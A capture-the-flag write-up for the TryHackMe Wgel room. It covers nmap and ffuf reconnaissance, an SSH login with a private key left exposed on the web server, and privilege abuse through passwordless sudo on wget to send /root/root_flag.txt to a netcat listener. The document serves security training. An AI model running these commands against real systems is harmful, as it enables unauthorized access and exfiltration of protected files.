TryHackMe : Wgel CTF Write-up

Abdullah Hamza
6 min readOct 28, 2023

--

To access the box click on the following link and join room.

Check connection

Ping machine IP to check if the connection is established. In my case ping is successful so the connection is established.

Successful Ping Results

Scanning

Let’s start with a nmap scan. Use following command to scan the target IP address.

sudo nmap -sV -A 10.10.142.110

The above command is for running an Nmap scan with detailed service version detection and aggressive detection against the IP address “10.10.142.110.” This type of scan is often used for in-depth network reconnaissance to gather information about the services and their versions running on the target system. The results will provide us with valuable information about potential vulnerabilities and system details. The scan result shows that port 80 and port 22 are open.

nmap scan results in kali linux

On visiting the target IP we got default apache2 page

Target IP in browser

Lets see the source code to check if we have something special in it. Right click and view page source.

Target IP in browser

We found an unusual comment. Someone’s trying to remind Jessie to update the website. Ok! thank you someone. We have seen port 22 is open for SSH. Maybe we can use jessie as username to SSH into the server.

Source code of default page in browser

Directory busting

Now, lets start directory busting on the target IP. I have used my all time favourite ffuf tool for that purpose.

ffuf -u <http://10.10.142.110/FUZZ> -w /usr/share/seclists/Discovery/Web-Content/common.txt
  • ffuf: is the command to trigger FFuF.
  • u <http://10.10.142.110/FUZZ:> specifies the target URL to scan. The "FUZZ" keyword is a placeholder that FFuF will replace with items from the wordlist.
  • w /usr/share/seclists/Discovery/Web-Content/common.txt: specifies the wordlist to use for the scan. In this case, the tool will use the common.txt wordlist to test for common directories and files on the target web server.
Directory busting results with ffuf

We have got sitemap page with status code 301. Lets visit in the browser and check what we have got.

Sitemap page on target IP

Directory busting on sitemap page

The sitemap page is empty. Lets start directory busting on this page. Use the following command to find directories on the sitemap page

ffuf -u <http://10.10.142.110/sitemap/FUZZ> -w /usr/share/seclists/Discovery/Web-Content/common.txt
  • ffuf: is the command to trigger FFuF.
  • u <http://10.10.142.110/sitemap/FUZZ:> specifies the target URL to scan. The "FUZZ" keyword is a placeholder that FFuF will replace with items from the wordlist.
  • w /usr/share/seclists/Discovery/Web-Content/common.txt: specifies the wordlist to use for the scan. In this case, the tool will use the common.txt wordlist to test for common directories and files on the target web server.
Directory busting results on sitemap page

Get id_rsa/Private key

We found SSH in results. Lets visit the page in browser.

SSh page on target IP

We found id_rsa. With this private key, we can gain unauthorized access to any SSH server that is configured to accept connections using this key. If this key is associated with jessie’s account or server, we could potentially compromise it. Sounds Great!

Click on id_rsa to copy the private key.

id_rsa file contents

Copy id_rsa. Open nano editor in terminal and save the private key.

Using nano editor to copy content

Press CTRL + O to save and CTRL + X to exit.

nano editor in terminal

Setting permission 600 for id_rsa is a good security practice. When you set the permissions of a file to 600, you are making it readable and writable only by the file’s owner, while denying access to any other users or groups. This is particularly important for sensitive files like SSH private keys.

Setting permissions for id_rsa file

SSH into the server

Use following command to SSH with private key and jessie username

sudo ssh -i id_rsa jessie@10.10.142.110

Boom!!! We logged in as jessie. Lets try whoami command to verify.

SSH into the server

Use command pwd to check current working directory.

pwd and ls command results

We can get information about the operating system, kernel version, hostname and architecture by using command uname -a.

uname -a command results

Get user flag

Now, let’s find the user flag by using find command given below.

find / -name "*flag*"

This command is used to search for files and directories with names containing the word “flag” on the entire file system starting from the root directory (/). This is commonly used when you are searching for specific files or directories with a particular keyword in their names.

find command results

We found the user_flag.txt file

found user_flag.txt

Now, use cat command to view contents of that file and we got the user_flag.

user flag captured using cat command

Get root flag

Use “sudo -l” command to list the permissions that the current user has with the sudo command. It shows that the user “jessie” is allowed to run any command as any user on the system, and also that jessie can run the “/usr/bin/wget” command without entering a password. This means we can get the root flag file without password.

sudo -l command results

Starting listener

Use netcat to start listener.

nc -lvp 3344

The above command is used to set up a netcat listener on port 3344. Netcat is a versatile networking utility, and this command specifies the following options:

  • l: option tells netcat to listen for incoming connections.
  • v: stands for "verbose" and makes netcat display more information about the connection.
  • p 3344: specifies the port number, in my case it’s port 3344.
Listener started in terminal

Use ifconfig command to get host ip.

Get host IP with ifconfig

Now, Finally use wget command to get root flag through listner.

sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.8.180.91:3344/

The provided command is using wget to send an HTTP POST request with a file to the specified URL.

  • sudo: means the command is executed with superuser privileges.
  • /usr/bin/wget: specifies the location of the wget command, which is a tool for non-interactive downloading files from the web.
  • -post-file=/root/root_flag.txt: option tells wget to send the contents of the /root/root_flag.txt file as the body of an HTTP POST request.
  • http://10.8.180.91:3344/: is the URL to which the POST request is being sent. It's sending the content of the root_flag.txt file to this URL.

I just assumed that root flag should be under root directory and might have name similar to user_flag so I tried with name root_flag.txt and it worked.

Root flag captured with listener

We got the root flag. Congratulations !!

captured root flag

Paste the flags on Tryhackme.

The room is completed

This walkthrough finishes here. Stay tuned for the next adventure! 🚀😊

--

--

Abdullah Hamza
Abdullah Hamza

Written by Abdullah Hamza

Developer | CEH | Penetration Tester | Red Team

No responses yet